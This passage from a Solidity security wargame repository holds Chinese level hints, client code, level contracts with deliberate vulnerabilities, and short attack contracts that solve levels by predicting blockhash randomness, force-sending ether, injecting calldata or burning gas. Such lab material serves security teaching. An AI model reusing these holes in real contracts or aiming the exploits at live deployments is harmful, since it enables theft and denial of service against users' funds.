是受害者的地址 (同時間 `msg.sender` 是惡意合約的地址),這會導致受害者的資產被轉移到攻擊者的手上. -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/token.md: -------------------------------------------------------------------------------- 1 | 這一關的目標是駭入下面這個簡單的代幣合約。 2 | 3 | 你一開始會被給 20 個代幣。如果你找到方法增加你手中代幣的數量,你就可以通過這一關,當然代幣數量越多越好。 4 | 5 |   6 | 可能會有用的資訊 7 | * 什麽是 odometer? -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/token_complete.md: -------------------------------------------------------------------------------- 1 | 溢位(overflow)在 solidity 中非常常見,你必須小心檢查。比如下面這樣: 2 | 3 | ``` 4 | if(a + c > a) { 5 | a = a + c; 6 | } 7 | ``` 8 | 9 | 另一個更簡單的替代方案是使用 OpenZeppelin 的 SafeMath 函式庫,它會自動檢查所有數學運算的溢位。使用方法大概如下: 10 | 11 | ``` 12 | a = a.add(c); 13 | ``` 14 | 15 | 如果有溢位,程式會自動恢復(revert). -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/vault.md: -------------------------------------------------------------------------------- 1 | 打開金庫(Vault)來通過這一關ㄅ! -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/vault_complete.md: -------------------------------------------------------------------------------- 1 | 一定請記住!將一個變數設成私用變數(private variable),只能保證這個變數不被其他合約存取。設成私用的(private)狀態變數和本地變數,還是可以被公開的存取(publicly access)。 2 | 3 | 為了確保資料的隱私,資料在上鏈前需要被加密。在這種情況下,密鑰絕對不可以被送到鏈上,不然隨便一個有心人都可以輕易取得密鑰,這樣你的資料隱私就會蕩然無存。[zk-SNARKs](https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell/) 提供了一個可以驗證是否某使用者 A 有某一個秘密(secret)的方法,但是驗證的過程中又不需要揭露這個秘密。 -------------------------------------------------------------------------------- /client/src/hoc/withRouter.js: -------------------------------------------------------------------------------- 1 | import { useLocation, useNavigate, useParams } from "react-router"; 2 | 3 | export const withRouter = (Component) => { 4 | const Wrapper = (props) =>{ 5 | const navigate = useNavigate(); 6 | const params = useParams(); 7 | const location = useLocation(); 8 | 9 | return ( 10 | 16 | ) 17 | } 18 | return Wrapper; 19 | } -------------------------------------------------------------------------------- /client/src/middlewares/setGameReadOnly.js: -------------------------------------------------------------------------------- 1 | import * as actions from '../actions'; 2 | 3 | const setGameReadOnly = store => next => action => { 4 | if (action.type !== actions.SET_GAME_READ_ONLY) return next(action) 5 | 6 | } 7 | 8 | export default setGameReadOnly 9 | -------------------------------------------------------------------------------- /client/src/middlewares/setLanguage.js: -------------------------------------------------------------------------------- 1 | import * as actions from '../actions' 2 | 3 | const setLanguage = store => next => action => { 4 | if (action.type !== actions.SET_LANG) return next(action) 5 | localStorage.setItem('lang', action.lang) 6 | document.location.replace(`${document.location.origin}${document.location.pathname}`) 7 | next(action) 8 | } 9 | 10 | export default setLanguage -------------------------------------------------------------------------------- /client/src/reducers/index.js: -------------------------------------------------------------------------------- 1 | import { combineReducers } from 'redux'; 2 | import { routerReducer } from 'react-router-redux' 3 | import networkReducer from './networkReducer' 4 | import gamedataReducer from './gamedataReducer' 5 | import playerReducer from './playerReducer' 6 | import contractsReducer from './contractsReducer' 7 | import statsReducer from './statsReducer' 8 | import languageReducer from './languageReducer' 9 | 10 | const reducer = combineReducers({ 11 | routing: routerReducer, 12 | network: networkReducer, 13 | gamedata: gamedataReducer, 14 | player: playerReducer, 15 | contracts: contractsReducer, 16 | stats: statsReducer, 17 | lang: languageReducer, 18 | }); 19 | 20 | export default reducer; -------------------------------------------------------------------------------- /client/src/reducers/languageReducer.js: -------------------------------------------------------------------------------- 1 | import * as actions from '../actions' 2 | 3 | const initialState = { 4 | lang: 'en' 5 | } 6 | 7 | const languageReducer = function(state = initialState, action) { 8 | switch(action.type) { 9 | 10 | case actions.SET_LANG: 11 | return { ...state, lang: action.lang } 12 | 13 | default: 14 | return state; 15 | } 16 | } 17 | 18 | export default languageReducer -------------------------------------------------------------------------------- /client/src/reducers/statsReducer.js: -------------------------------------------------------------------------------- 1 | import * as actions from '../actions'; 2 | 3 | const initialState = { 4 | createdInstanceLogs: [], 5 | completedLevelLogs: [] 6 | } 7 | 8 | const statsReducer = function(state = initialState, action) { 9 | let newState = { ...state } 10 | switch(action.type) { 11 | 12 | case actions.COLLECT_STATS: 13 | if(action.createdInstanceLogs) { 14 | newState.createdInstanceLogs = action.createdInstanceLogs 15 | } 16 | if(action.completedLevelLogs) { 17 | newState.completedLevelLogs = action.completedLevelLogs 18 | } 19 | break 20 | 21 | default: 22 | break 23 | } 24 | return newState; 25 | } 26 | 27 | export default statsReducer -------------------------------------------------------------------------------- /client/src/styles/code.css: -------------------------------------------------------------------------------- 1 | pre > code { 2 | font-family: monospace; 3 | } -------------------------------------------------------------------------------- /client/src/styles/page.css: -------------------------------------------------------------------------------- 1 | .page-container { 2 | margin: 40px 40px 40px 40px; 3 | } 4 | 5 | @media only screen and (max-width: 885px) { 6 | .page-container { 7 | margin: 0; 8 | } 9 | } -------------------------------------------------------------------------------- /client/src/utils/stringutil.js: -------------------------------------------------------------------------------- 1 | export function validateEmail(email) { 2 | // eslint-disable-next-line 3 | const regex = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; 4 | return regex.test(email); 5 | } 6 | 7 | export function validateNotEmpty(value) { 8 | return !!(value && value.trim()); 9 | } 10 | 11 | export function formatNumberWithComma(x) { 12 | return x.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ","); 13 | } -------------------------------------------------------------------------------- /client/src/utils/textloader.js: -------------------------------------------------------------------------------- 1 | export default function load(data) { 2 | return new Promise((resolve, reject) => { 3 | // console.log(`loading file:`, data, __dirname) 4 | try { 5 | fetch(data) 6 | .then(response => response.text()) 7 | .then(text => { 8 | // console.log(`file loaded`) 9 | resolve(text) 10 | }) 11 | } 12 | catch(error) { 13 | console.log(`ERROR LOADING FILE:`, error) 14 | reject(error) 15 | } 16 | }) 17 | } -------------------------------------------------------------------------------- /client/src/utils/translations.js: -------------------------------------------------------------------------------- 1 | export function loadTranslations(language) { 2 | let translations = null; 3 | try { 4 | translations = require(`../gamedata/${language}/strings.json`) 5 | } catch(e){ 6 | translations = require(`../gamedata/en/strings.json`) 7 | if(!translations) throw new Error("Can't load translations") 8 | } 9 | 10 | return translations; 11 | } -------------------------------------------------------------------------------- /contracts/.gitignore: -------------------------------------------------------------------------------- 1 | # Compiler files 2 | cache/ 3 | 4 | # Ignores development broadcast logs 5 | !/broadcast 6 | /broadcast/*/31337/ 7 | /broadcast/**/dry-run/ 8 | 9 | # Docs 10 | docs/ 11 | 12 | # Dotenv file 13 | .env 14 | contracts/out/ -------------------------------------------------------------------------------- /contracts/foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | src = 'src' # The source directory 3 | out = 'out' # The output directory 4 | libs = ['lib'] # A list of library directories 5 | optimizer = true # Enable or disable the solc optimizer 6 | optimizer_runs = 1000 # The number of optimizer runs 7 | fs_permissions = [{ access = "read", path = "./"}] # Gives permission to read files for compilation objects. 8 | evm_version = "shanghai" 9 | 10 | # See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options 11 | -------------------------------------------------------------------------------- /contracts/remappings.txt: -------------------------------------------------------------------------------- 1 | forge-std/=lib/forge-std/src/ 2 | openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/ 3 | openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/ 4 | openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/ -------------------------------------------------------------------------------- /contracts/src/attacks/CoinFlipAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../levels/CoinFlip.sol"; 6 | 7 | contract CoinFlipAttack { 8 | uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; 9 | 10 | function attack(address _victim) public returns (bool) { 11 | CoinFlip coinflip = CoinFlip(_victim); 12 | uint256 blockValue = uint256(blockhash(block.number - 1)); 13 | uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); 14 | bool side = coinFlip == 1 ? true : false; 15 | coinflip.flip(side); 16 | return side; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /contracts/src/attacks/DenialAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract DenialAttack { 6 | fallback() external payable { 7 | // consume all the gas 8 | while (true) {} 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /contracts/src/attacks/DexTwoAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.0; 3 | 4 | contract DexTwoAttackToken { 5 | function balanceOf(address) external pure returns (uint256) { 6 | return 1; 7 | } 8 | 9 | function transferFrom(address, address, uint256) external pure returns (bool) { 10 | return true; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /contracts/src/attacks/ElevatorAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../levels/Elevator.sol"; 6 | 7 | contract ElevatorAttack { 8 | bool public isLast = true; 9 | 10 | function isLastFloor(uint256) public returns (bool) { 11 | isLast = !isLast; 12 | return isLast; 13 | } 14 | 15 | function attack(address _victim) public { 16 | Elevator elevator = Elevator(_victim); 17 | elevator.goTo(10); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/src/attacks/ForceAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract ForceAttack { 6 | constructor() payable {} 7 | receive() external payable {} 8 | 9 | function attack(address payable target) public { 10 | selfdestruct(target); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /contracts/src/attacks/GatekeeperTwoAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | interface GatekeeperTwoInterface { 6 | function enter(bytes8 _gateKey) external returns (bool); 7 | } 8 | 9 | contract GatekeeperTwoAttack { 10 | GatekeeperTwoInterface gatekeeper; 11 | 12 | constructor(address GatekeeperTwoContractAddress) { 13 | gatekeeper = GatekeeperTwoInterface(GatekeeperTwoContractAddress); 14 | bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max); 15 | gatekeeper.enter{gas: 50000}(key); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /contracts/src/attacks/GoodSamaritanAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "../levels/GoodSamaritan.sol"; 5 | 6 | // Error to simulate (bubble up) 7 | error NotEnoughBalance(); 8 | 9 | contract GoodSamaritanAttack { 10 | address private immutable _goodSamaritan; 11 | 12 | constructor(address goodSamaritan_) { 13 | _goodSamaritan = goodSamaritan_; 14 | } 15 | 16 | function attack() external { 17 | GoodSamaritan(_goodSamaritan).requestDonation(); 18 | } 19 | 20 | function notify(uint256 amount_) external pure { 21 | if (amount_ <= 10) { 22 | revert NotEnoughBalance(); 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /contracts/src/attacks/HigherOrderAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity 0.6.12; 3 | 4 | contract HigherOrderAttack { 5 | function encodedData() public pure returns (bytes memory) { 6 | return abi.encodeWithSignature("registerTreasury(uint8)", uint8(42)); 7 | } 8 | 9 | function injectedData() public pure returns (bytes memory) { 10 | bytes memory data = encodedData(); 11 | data[21] = hex"FF"; 12 | return data; 13 | } 14 | 15 | function attack(address victim) public { 16 | (bool response,) = address(victim).call(injectedData()); 17 | if (!response) revert(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/src/attacks/KingAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract KingAttack { 6 | function doYourThing(address _target) public payable { 7 | (bool result,) = _target.call{value: msg.value}(""); 8 | if (!result) revert(); 9 | } 10 | 11 | // OMG NO PAYABLE FALLBACK!! 12 | } 13 | -------------------------------------------------------------------------------- /contracts/src/attacks/MagicNumBadSolver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract MagicNumBadSolver { 6 | function whatIsTheMeaningOfLife() public pure returns (bytes32) { 7 | return bytes4(uint32(42)); 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /contracts/src/attacks/Manufactured.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "openzeppelin-contracts-08/access/Ownable.sol"; 6 | 7 | contract Manufactured is Ownable {} 8 | -------------------------------------------------------------------------------- /contracts/src/attacks/NaughtCoinAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../levels/NaughtCoin.sol"; 6 | 7 | contract NaughtCoinAttack { 8 | function attack(address _target, address _player) public { 9 | NaughtCoin naughtCoin = NaughtCoin(_target); 10 | naughtCoin.transferFrom(_player, address(this), naughtCoin.balanceOf(_player)); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /contracts/src/attacks/PreservationAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract PreservationAttack { 6 | address slot0; 7 | address slot1; 8 | address ownerSlot; 9 | 10 | function setTime(uint256 addressAsUint) public { 11 | // Sets the owner 12 | ownerSlot = address(uint160(addressAsUint)); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /contracts/src/attacks/ShopAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../levels/Shop.sol"; 6 | 7 | contract ShopAttack { 8 | function price() external view returns (uint256) { 9 | return Shop(msg.sender).isSold() ? 1 : 100; 10 | } 11 | 12 | function attack(Shop _victim) external { 13 | Shop(_victim).buy(); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /contracts/src/attacks/StakeAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import '../levels/Stake.sol'; 6 | 7 | import "openzeppelin-contracts-08/token/ERC20/IERC20.sol"; 8 | contract StakeAttack { 9 | 10 | function attack(Stake _target) public payable { 11 | _target.StakeETH{value: msg.value}(); 12 | } 13 | } -------------------------------------------------------------------------------- /contracts/src/attacks/TelephoneAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../levels/Telephone.sol"; 6 | 7 | contract TelephoneAttack { 8 | function attack(address _victim, address _owner) public { 9 | Telephone telephone = Telephone(_victim); 10 | telephone.changeOwner(_owner); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /contracts/src/attacks/VaultAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../levels/Vault.sol"; 6 | 7 | contract VaultAttack { 8 | function attack(address _target, bytes32 _password) public { 9 | Vault vault = Vault(_target); 10 | vault.unlock(_password); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /contracts/src/levels/AlienCodex.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.5.0; 3 | 4 | import "../helpers/Ownable-05.sol"; 5 | 6 | contract AlienCodex is Ownable { 7 | bool public contact; 8 | bytes32[] public codex; 9 | 10 | modifier contacted() { 11 | assert(contact); 12 | _; 13 | } 14 | 15 | function makeContact() public { 16 | contact = true; 17 | } 18 | 19 | function record(bytes32 _content) public contacted { 20 | codex.push(_content); 21 | } 22 | 23 | function retract() public contacted { 24 | codex.length--; 25 | } 26 | 27 | function revise(uint256 i, bytes32 _content) public contacted { 28 | codex[i] = _content; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /contracts/src/levels/AlienCodexFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.5.0; 4 | 5 | import "./base/Level-05.sol"; 6 | import "./AlienCodex.sol"; 7 | 8 | contract AlienCodexFactory is Level { 9 | function createInstance(address _player) public payable returns (address) { 10 | _player; 11 | return address(new AlienCodex()); 12 | } 13 | 14 | function validateInstance(address payable _instance, address _player) public returns (bool) { 15 | // _player; 16 | AlienCodex instance = AlienCodex(_instance); 17 | return instance.owner() == _player; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/src/levels/CoinFlipFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./base/Level.sol"; 6 | import "./CoinFlip.sol"; 7 | 8 | contract CoinFlipFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | return address(new CoinFlip()); 12 | } 13 | 14 | function validateInstance(address payable _instance, address) public view override returns (bool) { 15 | CoinFlip instance = CoinFlip(_instance); 16 | return instance.consecutiveWins() >= 10; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /contracts/src/levels/Dummy.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Dummy { 5 | bool public completed; 6 | 7 | function setCompleted(bool _completed) public { 8 | completed = _completed; 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /contracts/src/levels/DummyFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "./base/Level.sol"; 5 | import "./Dummy.sol"; 6 | 7 | contract DummyFactory is Level { 8 | function createInstance(address _player) public payable override returns (address) { 9 | _player; 10 | return address(new Dummy()); 11 | } 12 | 13 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 14 | _player; 15 | Dummy instance = Dummy(_instance); 16 | return instance.completed(); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /contracts/src/levels/Elevator.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | interface Building { 5 | function isLastFloor(uint256) external returns (bool); 6 | } 7 | 8 | contract Elevator { 9 | bool public top; 10 | uint256 public floor; 11 | 12 | function goTo(uint256 _floor) public { 13 | Building building = Building(msg.sender); 14 | 15 | if (!building.isLastFloor(_floor)) { 16 | floor = _floor; 17 | top = building.isLastFloor(floor); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /contracts/src/levels/ElevatorFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./base/Level.sol"; 6 | import "./Elevator.sol"; 7 | 8 | contract ElevatorFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | Elevator instance = new Elevator(); 12 | return address(instance); 13 | } 14 | 15 | function validateInstance(address payable _instance, address) public view override returns (bool) { 16 | Elevator elevator = Elevator(_instance); 17 | return elevator.top(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/src/levels/FallbackFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./base/Level.sol"; 6 | import "./Fallback.sol"; 7 | 8 | contract FallbackFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | Fallback instance = new Fallback(); 12 | return address(instance); 13 | } 14 | 15 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 16 | Fallback instance = Fallback(_instance); 17 | return instance.owner() == _player && address(instance).balance == 0; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/src/levels/FalloutFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.6.0; 4 | 5 | import "./base/Level-06.sol"; 6 | import "./Fallout.sol"; 7 | 8 | contract FalloutFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | Fallout instance = new Fallout(); 12 | return address(instance); 13 | } 14 | 15 | function validateInstance(address payable _instance, address _player) public override returns (bool) { 16 | Fallout instance = Fallout(_instance); 17 | return instance.owner() == _player; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/src/levels/Force.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Force { /* 5 | MEOW ? 6 | /\_/\ / 7 | ____/ o o \ 8 | /~____ =ø= / 9 | (______)__m_m) 10 | */ } 11 | -------------------------------------------------------------------------------- /contracts/src/levels/ForceFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./base/Level.sol"; 6 | import "./Force.sol"; 7 | 8 | contract ForceFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | return address(new Force()); 12 | } 13 | 14 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 15 | _player; 16 | Force instance = Force(_instance); 17 | return address(instance).balance > 0; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/src/levels/GatekeeperOneFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./base/Level.sol"; 6 | import "./GatekeeperOne.sol"; 7 | 8 | contract GatekeeperOneFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | GatekeeperOne instance = new GatekeeperOne(); 12 | return address(instance); 13 | } 14 | 15 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 16 | GatekeeperOne instance = GatekeeperOne(_instance); 17 | return instance.entrant() == _player; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/src/levels/GatekeeperThreeFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "./base/Level.sol"; 5 | import "./GatekeeperThree.sol"; 6 | 7 | contract GatekeeperThreeFactory is Level { 8 | function createInstance(address _player) public payable override returns (address) { 9 | _player; 10 | GatekeeperThree instance = new GatekeeperThree(); 11 | return payable(instance); 12 | } 13 | 14 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 15 | GatekeeperThree instance = GatekeeperThree(_instance); 16 | return instance.entrant() == _player; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /contracts/src/levels/GatekeeperTwoFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./base/Level.sol"; 6 | import "./GatekeeperTwo.sol"; 7 | 8 | contract GatekeeperTwoFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | GatekeeperTwo instance = new GatekeeperTwo(); 12 | return address(instance); 13 | } 14 | 15 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 16 | GatekeeperTwo instance = GatekeeperTwo(_instance); 17 | return instance.entrant() == _player; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/src/levels/GoodSamaritanFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "./base/Level-08.sol"; 5 | import "./GoodSamaritan.sol"; 6 | 7 | contract GoodSamaritanFactory is Level { 8 | function createInstance(address _player) public payable override returns (address) { 9 | _player; 10 | return address(new GoodSamaritan()); 11 | } 12 | 13 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 14 | _player; 15 | GoodSamaritan instance = GoodSamaritan(_instance); 16 | return instance.coin().balances(address(instance.wallet())) == 0; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /contracts/src/levels/HigherOrder.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity 0.6.12; 3 | 4 | contract HigherOrder { 5 | address public commander; 6 | 7 | uint256 public treasury; 8 | 9 | function registerTreasury(uint8) public { 10 | assembly { 11 | sstore(treasury_slot, calldataload(4)) 12 | } 13 | } 14 | 15 | function claimLeadership() public { 16 | if (treasury > 255) commander = msg.sender; 17 | else revert("Only members of the Higher Order can become Commander"); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/src/levels/HigherOrderFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity 0.6.12; 3 | 4 | import "./base/Level-06.sol"; 5 | import "./HigherOrder.sol"; 6 | 7 | contract HigherOrderFactory is Level { 8 | function createInstance(address _player) public payable override returns (address) { 9 | return address(new HigherOrder()); 10 | } 11 | 12 | function validateInstance(address payable _instance, address _player) public override returns (bool) { 13 | HigherOrder instance = HigherOrder(_instance); 14 | return instance.commander() == _player; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /contracts/src/levels/InstanceFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./base/Level.sol"; 6 | import "./Instance.sol"; 7 | 8 | contract InstanceFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | return address(new Instance("ethernaut0")); 12 | } 13 | 14 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 15 | _player; 16 | Instance instance = Instance(_instance); 17 | return instance.getCleared(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/src/levels/King.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract King { 5 | address king; 6 | uint256 public prize; 7 | address public owner; 8 | 9 | constructor() payable { 10 | owner = msg.sender; 11 | king = msg.sender; 12 | prize = msg.value; 13 | } 14 | 15 | receive() external payable { 16 | require(msg.value >= prize || msg.sender == owner); 17 | payable(king).transfer(msg.value); 18 | king = msg.sender; 19 | prize = msg.value; 20 | } 21 | 22 | function _king() public view returns (address) { 23 | return king; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /contracts/src/levels/NaughtCoinFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./base/Level.sol"; 6 | import "./NaughtCoin.sol"; 7 | 8 | contract NaughtCoinFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | return address(new NaughtCoin(_player)); 11 | } 12 | 13 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 14 | NaughtCoin instance = NaughtCoin(_instance); 15 | return instance.balanceOf(_player) == 0; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /contracts/src/levels/Shop.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | interface Buyer { 5 | function price() external view returns (uint256); 6 | } 7 | 8 | contract Shop { 9 | uint256 public price = 100; 10 | bool public isSold; 11 | 12 | function buy() public { 13 | Buyer _buyer = Buyer(msg.sender); 14 | 15 | if (_buyer.price() >= price && !isSold) { 16 | isSold = true; 17 | price = _buyer.price(); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /contracts/src/levels/ShopFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./base/Level.sol"; 6 | import "./Shop.sol"; 7 | 8 | contract ShopFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | Shop _shop = new Shop(); 12 | return address(_shop); 13 | } 14 | 15 | function validateInstance(address payable _instance, address) public view override returns (bool) { 16 | Shop _shop = Shop(_instance); 17 | return _shop.price() < 100; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/src/levels/SwitchFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "./base/Level.sol"; 5 | import "./Switch.sol"; 6 | 7 | contract SwitchFactory is Level { 8 | function createInstance(address _player) public payable override returns (address) { 9 | _player; 10 | Switch _switch = new Switch(); 11 | return address(_switch); 12 | } 13 | 14 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 15 | _player; 16 | Switch _switch = Switch(_instance); 17 | return _switch.switchOn(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/src/levels/Telephone.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Telephone { 5 | address public owner; 6 | 7 | constructor() { 8 | owner = msg.sender; 9 | } 10 | 11 | function changeOwner(address _owner) public { 12 | if (tx.origin != msg.sender) { 13 | owner = _owner; 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /contracts/src/levels/TelephoneFactory.sol: 